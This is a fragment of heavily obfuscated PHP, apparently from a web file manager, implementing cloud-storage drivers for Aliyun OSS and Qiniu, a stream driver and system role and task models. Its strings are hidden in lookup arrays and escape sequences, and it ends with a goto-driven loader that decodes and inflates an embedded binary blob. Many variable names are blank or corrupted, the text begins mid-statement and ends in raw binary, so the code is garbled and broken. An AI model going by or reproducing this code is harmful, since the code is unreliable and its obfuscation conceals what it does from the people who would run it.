); $ = $->format(DateTime::ISO8601); $ = strpos($, $Ό[372]); $ = substr($, 0, $) . $Ό[1480]; $ͤ = 1048576000 * 5; $ = $this->pathFather($ǤDŽ); $ژ၏ = array($Ό[275] => $, $Ό[278] => array(array($Ό[1481], 0, $ͤ), array($Ό[281], $Ό[282], $))); $¶ = base64_encode(json_encode($ژ၏)); $ = base64_encode(hash_hmac($Ό[263], $¶, $this->secret, !0)); $ީ = array($Ό[293] => $¶, $Ό[1482] => $this->accessKey, $Ό[285] => $Ό[274], $Ό[1483] => $, $Ό[208] => $ĝ); $ީ = $this->trafficLimit($Ό[1477], $ީ); return $ީ; } public function multiUploadFormData($, $ = 3600) { $и =& $_SERVER[]; if (!($ى = $this->getHost())) { return !1; } $貝 = $this->trafficLimit($и[1477]); $Ϳȳ = $this->client->initiateMultipartUpload($this->bucket, $this->pathEncode($), $貝); return array($и[254] => $Ϳȳ, $и[208] => $ى . $и[8] . $this->pathEncode($), $и[255] => gmdate($и[1484]), $и[97] => $); } public function multiUploadAuthData($, $ۮ = array()) { $ʈǜޤ =& $_SERVER[]; $ = isset($ۮ[$ʈǜޤ[255]]) ? $ۮ[$ʈǜޤ[255]] : gmdate($ʈǜޤ[1484]); $ = isset($ۮ[$ʈǜޤ[169]]) ? $ۮ[$ʈǜޤ[169]] : $ʈǜޤ[12]; $ = $; if (isset($ۮ[$ʈǜޤ[97]])) { $ = $ۮ[$ʈǜޤ[97]]; unset($ۮ[$ʈǜޤ[97]]); } if (isset($ۮ[$ʈǜޤ[256]])) { $ۮ[$ʈǜޤ[255]] = $; return $this->listUploadParts($, $ۮ); } $ = array($ʈǜޤ[257], $ʈǜޤ[12], $ʈǜޤ[123], $, "\x78\x2d\157\x73\163\55\x64\x61\x74\x65\x3a{$}", $ʈǜޤ[8] . $this->bucket . $ʈǜޤ[8] . $ . $); if (strpos($, $ʈǜޤ[258]) === 0) { $[0] = $ʈǜޤ[259]; if ($ = $this->trafficLimit($ʈǜޤ[1477])) { $ = $ʈǜޤ[1485]; array_splice($, 5, 0, $ . $ʈǜޤ[4] . $[$]); } } if (isset($ۮ[$ʈǜޤ[260]]) && $ۮ[$ʈǜޤ[260]] == $ʈǜޤ[261]) { $[0] = $ʈǜޤ[261]; } if (!empty($ۮ[$ʈǜޤ[1486]])) { $蓞 = array_merge(array($[4]), $ۮ[$ʈǜޤ[1486]]); sort($蓞); $[4] = implode($ʈǜޤ[262], $蓞); } $ÛЛ = implode($ʈǜޤ[262], $); $ = base64_encode(hash_hmac($ʈǜޤ[263], $ÛЛ, $this->secret, !0)); $ʚ = $ʈǜޤ[1454] . $this->accessKey . $ʈǜޤ[4] . $; if (strpos($, $ʈǜޤ[258]) === 0) { $ʚ = array($ʈǜޤ[265] => $ʚ, $ʈǜޤ[255] => $); if ($) { $ʚ = array_merge($ʚ, $); } } return $ʚ; } public function listUploadParts($, $ҳ) { $ê =& $_SERVER[]; $ = parse_url_query($ҳ[$ê[169]]); $ɶ = $this->client->listParts($this->bucket, $this->pathEncode($), $[$ê[254]]); $ = $ɶ->getListPart(); $ = array(); foreach ($ as $) { $[] = array($ê[308] => $->getPartNumber(), $ê[309] => trim($->getETag(), $ê[121])); } unset($ҳ[$ê[256]], $ҳ[$ê[260]]); $ړ = $this->multiUploadAuthData($, $ҳ); if (empty($ړ)) { return !1; } return array($ê[265] => $ړ, $ê[255] => $ҳ[$ê[255]], $ê[267] => $); } public function download($橴, $㋣) { $څՙ =& $_SERVER[]; if ($this->isFolder($橴)) { return !1; } try { $ҙ = array(OSS\OssClient::OSS_FILE_DOWNLOAD => $㋣); $ҙ = $this->trafficLimit($څՙ[112], $ҙ); $this->client->getObject($this->bucket, $this->pathEncode($橴), $ҙ); } catch (OSS\Core\OssException $ԡ) { $this->writeLog(__FUNCTION__ . $څՙ[214] . $ԡ->getMessage()); return !1; } return $㋣; } public function fileSubstr($, $ = 0, $腙 = false) { if ($ === -1) { $ݺ = array(); } else { if ($腙 === !1) { $ = $this->size($); } else { $ = $ + $腙 - 1; } $ݺ = array(OSS\OssClient::OSS_RANGE => "{$}\55{$}"); } try { return $this->client->getObject($this->bucket, $this->pathEncode($), $ݺ); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $_SERVER[][214] . $->getMessage()); think_exception($->getMessage()); return !1; } } private function trafficLimit($, $Íᮻ = array()) { $⣙ =& $_SERVER[]; if ($ == $⣙[1477] && $this->isUploadServer() || $ == $⣙[112] && $this->isFileOutServer()) { return $Íᮻ; } $ߡ = floatval($GLOBALS[$⣙[6]][$⣙[92]][$⣙[110]][$]) * 1024 * 1024 * 8; if (!$ߡ) { return $Íᮻ; } $ߡ = $ߡ < 819200 ? 819200 : ($ߡ > 838860800 ? 838860800 : $ߡ); $Íᮻ[OSS\OssClient::OSS_TRAFFIC_LIMIT] = intval($ߡ); return $Íᮻ; } public function link($, $ɷҘ = array()) { $ =& $_SERVER[]; if (!$this->exist($) || $this->isFolder($)) { return !1; } try { $ɷҘ = $this->trafficLimit($[112], $ɷҘ); $ = $this->client->signUrl($this->bucket, $this->pathEncode($), 3600 * 12, $[261], $ɷҘ); return $this->getCdnLink($); } catch (OSS\Core\OssException $ʾ) { $this->writeLog(__FUNCTION__ . $[214] . $ʾ->getMessage()); return !1; } } public function fileOut($, $ = false, $ƭ = false, $ȶ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $ƭ, $ȶ); } if (!$ƭ) { $ƭ = $this->pathThis($); } $ƭ = rawurlencode($ƭ); $ = get_file_mime(get_path_ext($ƭ)); if ($ == $[248]) { return parent::fileOut($, $, $ƭ, $ȶ); } $ = $ ? $[1487] : $[1488]; $ = array(OSS\OssClient::OSS_SUB_RESOURCE => $[1489] . rawurlencode("{$}\x3b\x66\x69\x6c\x65\x6e\x61\155\145\75{$ƭ}")); $[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1490] . rawurlencode($); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($Ɂ, $Ȳ = false, $ = false, $ = '') { parent::fileOut($Ɂ, $Ȳ, $, $); } public function fileOutImage($λ, $Ҵ = 250) { if ($this->size($λ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($λ, $Ҵ); } $ĚĹ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[][1451] . $Ҵ); $Ҿ = $this->link($λ, $ĚĹ); $this->fileOutLink($Ҿ); } public function fileOutImageServer($ؼ, $͙ = 250) { parent::fileOutImage($ؼ, $͙); } public function fileOutLink($̼) { $Ң =& $_SERVER[]; if (!$this->isCdnHost() && substr($̼, 0, 7) == $Ң[313]) { $̼ = $Ң[314] . substr($̼, 7); } header($Ң[175] . $̼); die; } public function hashMd5($ҍ, $э = '') { $ǒ =& $_SERVER[]; $ک = $this->_objectMeta($ҍ); if (!$ک) { return $ǒ[12]; } if (!isset($ک[$ǒ[1471]]) && !empty($э)) { $ = $this->updateObjMeta($ҍ, array($ǒ[1471] => $э)); $ک[$ǒ[1471]] = $ ? $э : $ǒ[12]; } return isset($ک[$ǒ[1471]]) ? strtolower($ک[$ǒ[1471]]) : $ǒ[12]; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][79]] : 0; } public function info($ơ) { if ($this->isFolder($ơ)) { return $this->folderInfo($ơ); } else { if ($this->isFile($ơ)) { return $this->fileInfo($ơ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][179], $); } protected function objectMeta($ߟ) { return $this->cacheMethod($_SERVER[][181], $ߟ); } protected function _objectMeta($) { $ͦ =& $_SERVER[]; try { $佳 = $this->client->getObjectMeta($this->bucket, $this->pathEncode($)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $ͦ[214] . $->getMessage()); $佳 = !1; } if ($佳) { $佳[$ͦ[79]] = intval($佳[$ͦ[1469]]); } return $佳; } protected function _isFolder($ߗɌ) { $ =& $_SERVER[]; if ($ߗɌ == $[12] || $ߗɌ == $[8]) { return !0; } $ = array($[1464] => $[8], $[1465] => rtrim($ߗɌ, $[8]) . $[8], $[1466] => 1, $[1467] => $[12]); $ = $this->client->listObjects($this->bucket, $); if ($->getObjectList() || $->getPrefixList()) { return !0; } return !1; } public function writeLog($ʠ = '', $ = false) { $葞 =& $_SERVER[]; $ɛς = in_array(ACTION, array($葞[212], $葞[213])); if (!$ɛς && !GLOBAL_DEBUG) { return; } $︙ = 0; if (stripos($ʠ, $葞[1491]) !== !1) { $︙ = 1; $ = explode($葞[1492], $ʠ); $ʠ = !empty($[1]) ? $[1] : $ʠ; } else { if (stripos($ʠ, $葞[1493])) { $︙ = 2; $ = explode($葞[1493], $ʠ); $ = explode($葞[4], $[0]); $ʠ = !empty($[1]) ? $[1] : $ʠ; } } if ($ɛς && I18n::getType() == $葞[1494]) { if ($︙ == 1) { $ʠ = str_replace($葞[1495], $葞[1496], $ʠ); } else { if ($︙ == 2) { $ = explode($葞[214], $[0]); $ȇ = isset($[1]) ? $[1] : $葞[12]; $ = array($葞[1497] => $葞[1498], $葞[1499] => $葞[1500], $葞[1501] => $葞[1502], $葞[1503] => $葞[1504], $葞[1505] => $葞[1506], $葞[1507] => $葞[1508], $葞[1509] => $葞[1510], $葞[1511] => $葞[1512], $葞[1513] => $葞[1514], $葞[1515] => $葞[1516]); if (isset($[$ȇ])) { $ʠ = $[$ȇ]; } } } if (stripos($ʠ, $葞[1517])) { $ʠ = $葞[1518]; } } if (!trim($ʠ)) { return; } parent::writeLog(trim($ʠ), $); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\60"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[][1519]; $this->_init($); } public function _init($) { $ =& $_SERVER[]; $this->config = $; foreach ($ as $Ւ => $ɞ) { if (isset($this->{$Ւ})) { $this->{$Ւ} = $ɞ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($[1520] . LNG($[1455])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($, $⿴ = '', $ɩ = REPEAT_RENAME) { if ($this->setContent($, $⿴)) { return $this->getPathOuter($); } return !1; } public function mkdir($ͫ, $ = REPEAT_SKIP) { $ꡨ =& $_SERVER[]; $Ӡ = trim($ͫ, $ꡨ[8]); if ($this->_isFolder($Ӡ)) { return $this->getPathOuter($Ӡ); } $ͫ = $Ӡ . $ꡨ[8]; $ = get_path_this($Ӡ); $Ǹ = $ͫ . $; if (!$this->mkfile($Ǹ)) { return !1; } if (!$this->moveFile($Ǹ, $ͫ)) { $this->delFile($Ǹ); return !1; } return $this->getPathOuter($Ӡ); } public function copyFile($, $) { $䭧 = $this->bucketManager->copy($this->bucket, $, $this->bucket, $, !0); return $䭧 ? !1 : $this->getPathOuter($); } public function moveFile($, $) { $եă = $this->bucketManager->move($this->bucket, $, $this->bucket, $, !0); return $եă ? !1 : $this->getPathOuter($); } public function delFile($զ) { if (!$this->exist($զ)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $զ); return $ ? !1 : !0; } public function delFolder($ָ) { $ =& $_SERVER[]; if (!$this->exist($ָ)) { return !0; } $this->listItemCache = !1; $ = $this->fileList($ָ); $this->listItemCache = !0; $ = trim($ָ, $[8]) . $[8]; if (!empty($ָ) && $ָ !== $[228] && !in_array($, $[$[85]])) { $[$[85]][] = $; } $ = $this->delByBatch($[$[86]]); if (!$) { return !1; } $ = $this->delByBatch($[$[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($) { foreach (array_chunk($, 1000) as $) { $̀ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($߾, $) = $this->bucketManager->batch($̀); if ($) { return !1; } } return !0; } public function rename($͡, $ۊ) { return $this->renameObject($͡, $ۊ); } public function fileInfo($, $ֆ = false, $ખ͖ = array()) { $ݿ =& $_SERVER[]; $IJʯ = array($ݿ[32] => $this->pathThis($), $ݿ[87] => $this->getPathOuter($ݿ[8] . $), $ݿ[33] => $ݿ[230], $ݿ[79] => isset($ખ͖[$ݿ[1521]]) ? $ખ͖[$ݿ[1521]] : 0, $ݿ[169] => $this->ext($)); if ($ֆ) { return $IJʯ; } $IJʯ[$ݿ[231]] = $IJʯ[$ݿ[88]] = 0; $IJʯ[$ݿ[232]] = $IJʯ[$ݿ[233]] = !0; if (empty($ખ͖)) { $ખ͖ = $this->objectMeta($); if (!$ખ͖) { return $IJʯ; } } if (isset($ખ͖[$ݿ[234]]) && $ખ͖[$ݿ[234]]) { $IJʯ[$ݿ[235]] = $ખ͖[$ݿ[234]]; } if (isset($ખ͖[$ݿ[245]]) && $ખ͖[$ݿ[245]]) { $IJʯ[$ݿ[235]] = $ખ͖[$ݿ[245]]; } if (isset($ખ͖[$ݿ[1522]])) { $IJʯ[$ݿ[88]] = substr($ખ͖[$ݿ[1522]] . $ݿ[12], 0, 10); } if (isset($ખ͖[$ݿ[1521]])) { $IJʯ[$ݿ[79]] = $ખ͖[$ݿ[1521]]; } return $IJʯ; } public function folderInfo($ŗ, $ۿ = false) { $ɿ =& $_SERVER[]; $ = array($ɿ[32] => $this->pathThis($ŗ), $ɿ[87] => $this->getPathOuter($ɿ[8] . $ŗ), $ɿ[33] => $ɿ[78]); if ($ۿ) { return $; } $[$ɿ[231]] = $[$ɿ[88]] = 0; $[$ɿ[232]] = $[$ɿ[233]] = !0; $ŗ = rtrim($ŗ, $ɿ[8]) . $ɿ[8]; $ = $this->objectMeta($ŗ); if (isset($[$ɿ[1522]])) { $[$ɿ[88]] = substr($[$ɿ[1522]] . $ɿ[12], 0, 10); } return $; } public function listPath($ۉ, $ˮ = false) { $҅ =& $_SERVER[]; $ = $this->fileList($ۉ, $҅[8], !0); foreach ($[$҅[85]] as $Ԋ => $ȏҮ) { $[$҅[85]][$Ԋ] = $this->folderInfo($ȏҮ, $ˮ); } foreach ($[$҅[86]] as $Ԋ => $ȏҮ) { $[$҅[86]][$Ԋ] = $this->fileInfo($ȏҮ[$҅[97]], $ˮ, $ȏҮ); } return $; } public function has($呑, $״ӓ = false, $ = true) { $͞й =& $_SERVER[]; $呑 = trim($呑, $͞й[8]); $ߠ = empty($呑) && $呑 !== $͞й[228] ? $͞й[12] : $呑 . $͞й[8]; $̈ = $͞й[12]; $߫ = 500; $ = $͞й[8]; $ۤ = $ = 0; while (!0) { check_abort(); list($ͺŘ, $) = $this->bucketManager->listFiles($this->bucket, $ߠ, $̈, $߫, $); if ($) { break; } $̈ = array_key_exists($͞й[1467], $ͺŘ) ? $̈ = $ͺŘ[$͞й[1523]] : $͞й[12]; if ($״ӓ) { if (!empty($ͺŘ[$͞й[1524]])) { $ۤ += count($ͺŘ[$͞й[1524]]); } if (!empty($ͺŘ[$͞й[1525]])) { $ += count($ͺŘ[$͞й[1525]]); } if ($̈ === $͞й[12]) { break; } continue; } if ($) { if (!empty($ͺŘ[$͞й[1524]])) { return !0; } } else { if (!empty($ͺŘ[$͞й[1525]])) { return !0; } } if ($̈ === $͞й[12]) { break; } } if ($״ӓ) { return array($͞й[239] => $ۤ, $͞й[240] => $); } return !1; } public function listAll($) { $멕 =& $_SERVER[]; $鷾 = $this->fileList($, $멕[12], !0); $ = array_to_keyvalue($鷾[$멕[86]], $멕[32]); foreach ($鷾[$멕[85]] as $) { if (is_string($)) { $[$] = array($멕[79] => 0); } } return $this->listAllFiles($, $); } private function fileList($ހ, $ʶ㋩ = '', $ˮ = 0) { $ٔ =& $_SERVER[]; $ހ = trim($ހ, $ٔ[8]); $ = empty($ހ) && $ހ !== $ٔ[228] ? $ٔ[12] : $ހ . $ٔ[8]; $ = $ٔ[12]; $ = 1000; $ߓ = $أڕ = array(); while (!0) { check_abort(); list($, $ȲН) = $this->bucketManager->listFiles($this->bucket, $, $, $, $ʶ㋩); if ($ȲН) { break; } $ = array_key_exists($ٔ[1467], $) ? $ = $[$ٔ[1523]] : $ٔ[12]; $ܴ = isset($[$ٔ[1524]]) ? $[$ٔ[1524]] : array(); $ = isset($[$ٔ[1525]]) ? $[$ٔ[1525]] : array(); foreach ($ܴ as $һŏ) { if ($һŏ[$ٔ[97]] == $) { continue; } $ = $һŏ[$ٔ[97]]; $ʌ = $һŏ[$ٔ[1521]]; $һŏ[$ٔ[79]] = $ʌ; $ = $ʌ == 0 && substr($, strlen($) - 1, 1) == $ٔ[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $һŏ); if ($) { $ߓ[] = $; continue; } $أڕ[] = $ˮ ? $һŏ : $; } foreach ($ as $) { if ($ == $) { continue; } $ߓ[] = $; $this->cacheMethodInfoSet($, !0); } if ($ === $ٔ[12]) { break; } } $this->cacheMethodInfoSet($ހ, !0); return array($ٔ[85] => $ߓ, $ٔ[86] => $أڕ); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($⯰, $ۦ = '') { $㎿÷ = $this->tempFile($this->pathThis($⯰)); file_put_contents($㎿÷, $ۦ); if ($this->upload($⯰, $㎿÷)) { $this->tempFileRemve($㎿÷); return !0; } return !1; } public function refreshUrls($) { $ݿ =& $_SERVER[]; $ = array(); if (is_array($)) { foreach ($ as $ˡ) { $[] = $this->link($ˡ); } } else { $[] = $this->link($); } $ = new Qiniu\Cdn\CdnManager($this->auth); list($ҟ, $Ҫ) = $->refreshUrls($); if ($Ҫ) { return !1; } return $ҟ[$ݿ[1257]] == $ݿ[826] ? !0 : !1; } public function fileSubstr($ܐ, $, $) { $ =& $_SERVER[]; if (!($㴼 = $this->link($ܐ))) { return !1; } $˞ = !1; if ($ > 0) { $ = $ + $ - 1; $˞ = array($[1526] . $ . $[462] . $); } $ = url_request($㴼, $[261], !1, $˞); return $[$[817]] ? $[$[1280]] : !1; } public function upload($ʮ, $尞, $ = false, $ۊҩ = REPEAT_REPLACE) { $ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $ʮ); $ܺ = get_file_mime(get_path_ext($尞)); list($ڇ, $) = $->putFile($, $ʮ, $尞, null, $ܺ); return $ ? !1 : $this->getPathOuter($ʮ); } public function uploadFormData($ʠ, $ = 3600) { return $this->uploadToken($ʠ, $); } public function multiUploadFormData($, $䱍 = 3600) { return $this->uploadToken($, $䱍); } private function uploadToken($, $ = 3600) { $ρ =& $_SERVER[]; $ҕ = $; $Ι = array($ρ[1527] => $ρ[1528]); $ҵ = $; $қ = $this->auth->uploadToken($this->bucket, $ҵ, $ҕ, $Ι, !0); $ = empty($this->region) || $this->region == $ρ[1529] ? $ρ[12] : $ρ[462] . $this->region; $Ŵ = http_type() . "\x3a\57\57\x75\x70\x6c\157\141\x64{$}\x2e\161\x69\156\x69\165\160\56\143\x6f\155\x2f"; return array($ρ[1530] => $қ, $ρ[1531] => $Ŵ); } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $⟎ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1532]); while (!0) { $͔ = $this->fileSubstr($, $⟎, $); if ($͔ === !1) { return !1; } fwrite($, $͔); $⟎ += $; if (strlen($͔) < $) { break; } } fclose($); return $; } public function link($, $ם = '') { if (!$this->isFile($)) { return !1; } $ = $this->getHost() . $_SERVER[][8] . $this->pathEncode($) . $ם; return $this->auth->privateDownloadUrl($, 3600 * 12); } public function fileOut($ٴ䆉, $ = false, $ = false, $Ԯ = '') { $ =& $_SERVER[]; if ($this->isFileOutServer()) { return $this->fileOutServer($ٴ䆉, $, $, $Ԯ); } if (!$) { $ = $this->pathThis($ٴ䆉); } $ = $ ? $[1533] . rawurlencode($) : $[12]; $ = $this->link($ٴ䆉, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $Ҽ = false, $̢Ҝ = '') { parent::fileOut($, $, $Ҽ, $̢Ҝ); } public function fileOutImage($ڼ, $ڑ = 250) { if ($this->size($ڼ) > 1024 * 1024 * 20) { return $this->fileOutImageServer($ڼ, $ڑ); } $ = $this->link($ڼ, $_SERVER[][1534] . $ڑ); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ᵻ =& $_SERVER[]; $ = $this->objectMeta($); return isset($[$ᵻ[245]]) ? $[$ᵻ[245]] : !1; $վ = $this->link($, $ᵻ[1535]); } public function size($űя) { $ɀ = $this->objectMeta($űя); return $ɀ ? $ɀ[$_SERVER[][79]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($ܥ) { return $this->isFile($ܥ) || $this->isFolder($ܥ); } public function isFile($É) { return !$this->isFolder($É) && $this->objectMeta($É); } public function isFolder($ۜ) { return $this->cacheMethod($_SERVER[][179], $ۜ); } protected function objectMeta($ՋӐ) { return $this->cacheMethod($_SERVER[][181], $ՋӐ); } protected function _objectMeta($ù) { $ڟ =& $_SERVER[]; list($П, $҂) = $this->bucketManager->stat($this->bucket, $ù); if ($П) { $П[$ڟ[79]] = intval($П[$ڟ[1521]]); } return $П; } protected function _isFolder($݁) { $ =& $_SERVER[]; if ($݁ == $[12] || $݁ == $[8]) { return !0; } list($䑌, $嵢) = $this->bucketManager->listFiles($this->bucket, trim($݁, $[8]) . $[8], $[12], 1, $[8]); return !empty($䑌[$[1524]]) || !empty($䑌[$[1525]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($̀, $η = 0) { parent::__construct(); $this->source = $̀; $this->sourceSize = $η; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ט = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ā = false, $֛ = 0, $㧪 = 0) { if (!$㧪) { $㧪 = $this->sourceSize; } $鏄 = $this->sourceSize - $֛; if ($㧪 >= $鏄) { $㧪 = $鏄; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $֛, $㧪); } if ($this->sourceType == self::TYPE_FILE) { if ($㧪 <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $֛); $ = @fread($this->source, $㧪); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($禇, $ = 0) { $Ȓ = new PathDriverStream($禇, $); return $Ȓ->hashSimple($禇); } public static function md5($Ӹ, $빿 = 0) { $ = new PathDriverStream($Ӹ, $빿); return $->hashMd5($Ӹ); } } goto Dȸ; bŝ: class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\x53\171\x73\x74\x65\155\56\162\x6f\154\145\114\x69\163\164"; public $field = array("\156\141\155\x65", "\x61\x75\x74\x68", "\154\x61\142\145\x6c", "\x64\x69\163\x70\x6c\141\x79", "\163\x79\x73\164\x65\155", "\144\x65\163\x63", "\151\x67\x6e\157\x72\145\105\170\x74", "\x69\147\x6e\x6f\162\x65\106\x69\154\x65\123\151\172\x65", "\x61\144\155\x69\x6e\151\x73\x74\162\141\x74\157\162", "\x73\157\x72\164"); public function listData($ߛ = false, $ = "\163\x6f\x72\x74", $ŗ = false) { $ȵ =& $_SERVER[]; $Ș = parent::listData($ߛ, $, $ŗ); if (!$ߛ) { foreach ($Ș as $Ä => $) { if ($[$ȵ[2170]] == 1) { $Ș[$Ä][$ȵ[526]] = LNG($ȵ[2436]); } } } return $Ș; } public function update($, $) { $ک =& $_SERVER[]; $Ŝ = parent::listData($); $蔟 = $this->findByName($[$ک[32]]); if (!$Ŝ || $蔟 && $蔟[$ک[475]] != $Ŝ[$ک[475]]) { return !1; } if ($蔟[$ک[2170]] == 1) { $ = array($ک[32] => $[$ک[32]], $ک[1985] => $[$ک[1985]]); } $this->filterAuth($[$ک[487]]); return parent::update($, $); } public function remove($⽐) { $˦ = parent::listData($⽐); if (!$˦ || $˦[$_SERVER[][191]]) { return !1; } return parent::remove($⽐); } public function add($꒘) { $ =& $_SERVER[]; $ = $꒘[$[32]]; if ($this->findByName($)) { return !1; } $Đ = array($[494] => $, $[1968] => $[12], $[1964] => $[1972], $[2437] => 1, $[1967] => 0, $[2438] => 0, $[1966] => $this->getSort()); $꒘ = array_merge($Đ, $꒘); $this->filterAuth($꒘[$[487]]); return parent::insert($꒘); } private function getSort() { $ꊵ =& $_SERVER[]; $ = parent::listData(); $ = array_to_keyvalue($, $ꊵ[12], $ꊵ[1986]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$意) { $ۤ =& $_SERVER[]; $ꕄ = array(); $ = array_filter(explode($ۤ[50], $意)); foreach ($ as $意) { $ = explode($ۤ[10], $意); if ($[0] == $ۤ[2439] && $[1] != $ۤ[1268]) { $렍 = $[0] . $ۤ[10] . $[1] . $ۤ[2440]; if (!in_array($렍, $)) { $ꕄ[] = $렍; } } $ꕄ[] = $意; } $意 = implode($ۤ[50], $ꕄ); } public function findRoleDefault() { $ط =& $_SERVER[]; $ = parent::listData(); $ = !1; foreach ($ as $) { if (!$ || $[$ط[1984]] == $ط[228] || $[$ط[2170]] == 1) { continue; } if (strstr($[$ط[487]], $ط[2441])) { continue; } if (!strstr($[$ط[487]], $ط[2442])) { continue; } if (!$) { $ = $; continue; } $ = explode($ط[50], $[$ط[487]]); $֚ = explode($ط[50], $[$ط[487]]); if (count($) > count($֚)) { $ = $; } } return $ ? $[$ط[475]] : $ط[12]; } public function sort($Դ, $ć) { return parent::update($Դ, $ć); } } class SystemTaskModel extends ModelBaseLight { public $optionType = "\123\171\163\164\145\x6d\x2e\x74\141\x73\x6b\x4c\x69\163\x74"; public $field = array("\156\x61\x6d\x65", "\x74\171\x70\145", "\x65\166\x65\x6e\164", "\x74\x69\155\145", "\x64\x65\x73\143", "\163\x79\x73\164\x65\155", "\x65\156\x61\x62\x6c\145", "\x6c\141\x73\164\122\165\x6e", "\x73\157\162\x74"); public function listData($ = false, $ە = "\x73\x6f\x72\164", $ۯ = false) { return parent::listData($, $ە, $ۯ); } public function add($) { $ =& $_SERVER[]; $ = $this->findByName($[$[32]]); if ($) { return !1; } $[$[1714]] = 0; $[$[1986]] = $this->getSort(); return parent::insert($); } private function getSort() { $՚ŀ =& $_SERVER[]; $ڦ = parent::listData(); $ɮ = array_to_keyvalue($ڦ, $՚ŀ[12], $՚ŀ[1986]); return empty($ɮ) ? 0 : max($ɮ) + 1; } public function update($, $) { $襢ڗ =& $_SERVER[]; $ޖ = $this->listData($); $ = $this->findByName($[$襢ڗ[32]]); if (!$ޖ || $ && $Â[$襢ڗ[475]] != $ޖ[$襢ڗ[475]]) { return !1; } return parent::update($, $); } public function remove($ן, $ޓچ = false) { $嶌Ж =& $_SERVER[]; $ᯞ = $this->listData($ן); if (!$ᯞ) { return; } if (!$ޓچ && $ᯞ[$嶌Ж[191]] == $嶌Ж[91]) { return !1; } return parent::remove($ן); } public function enable($, $¾) { return $this->update($, array($_SERVER[][2431] => $¾)); } public function run($) { return $this->update($, array($_SERVER[][2443] => time())); } } goto F; C: $fileSize = strrev(base64_decode($_SERVER[ۏԅ][0])); function binCheckNeq($, $ƠՖ) { return $ != $ƠՖ; } $_SERVER[$_SERVER[ۏԅ][1]] = $fileSize($_SERVER[$_SERVER[ۏԅ][2]]); goto d廸; dҲ: if (!function_exists('_kodDe')) { function _kodDe($str) { $str = base64_decode($str); $l = strlen($str); $result = ''; $offset = ord($str[0]) - 30; for ($i = 1; $i < $l; $i += 2) { if ($i + 1 < $l) { $result .= chr(ord($str[$i + 1]) + $offset); $result .= chr(ord($str[$i]) + $offset); } else { $result .= chr(ord($str[$i]) + $offset); } } return $result; } } define(strrev(''), "\xee\xc5\x97\x9d\x86\xf7"); $_SERVER[] = explode("\174\4\174\2\174\1", gzinflate(substr("\37\213\10\0\0\0\0\0\0\23\305\175\11\174\33\305\365\60\155\51\20\316\36\224\102\57\66\206\340\43\72\354\334\161\342\4\131\226\143\21\131\162\44\71\7\266\331\254\245\265\265\261".strrev('~JsxW-;(ZPrڹ@ 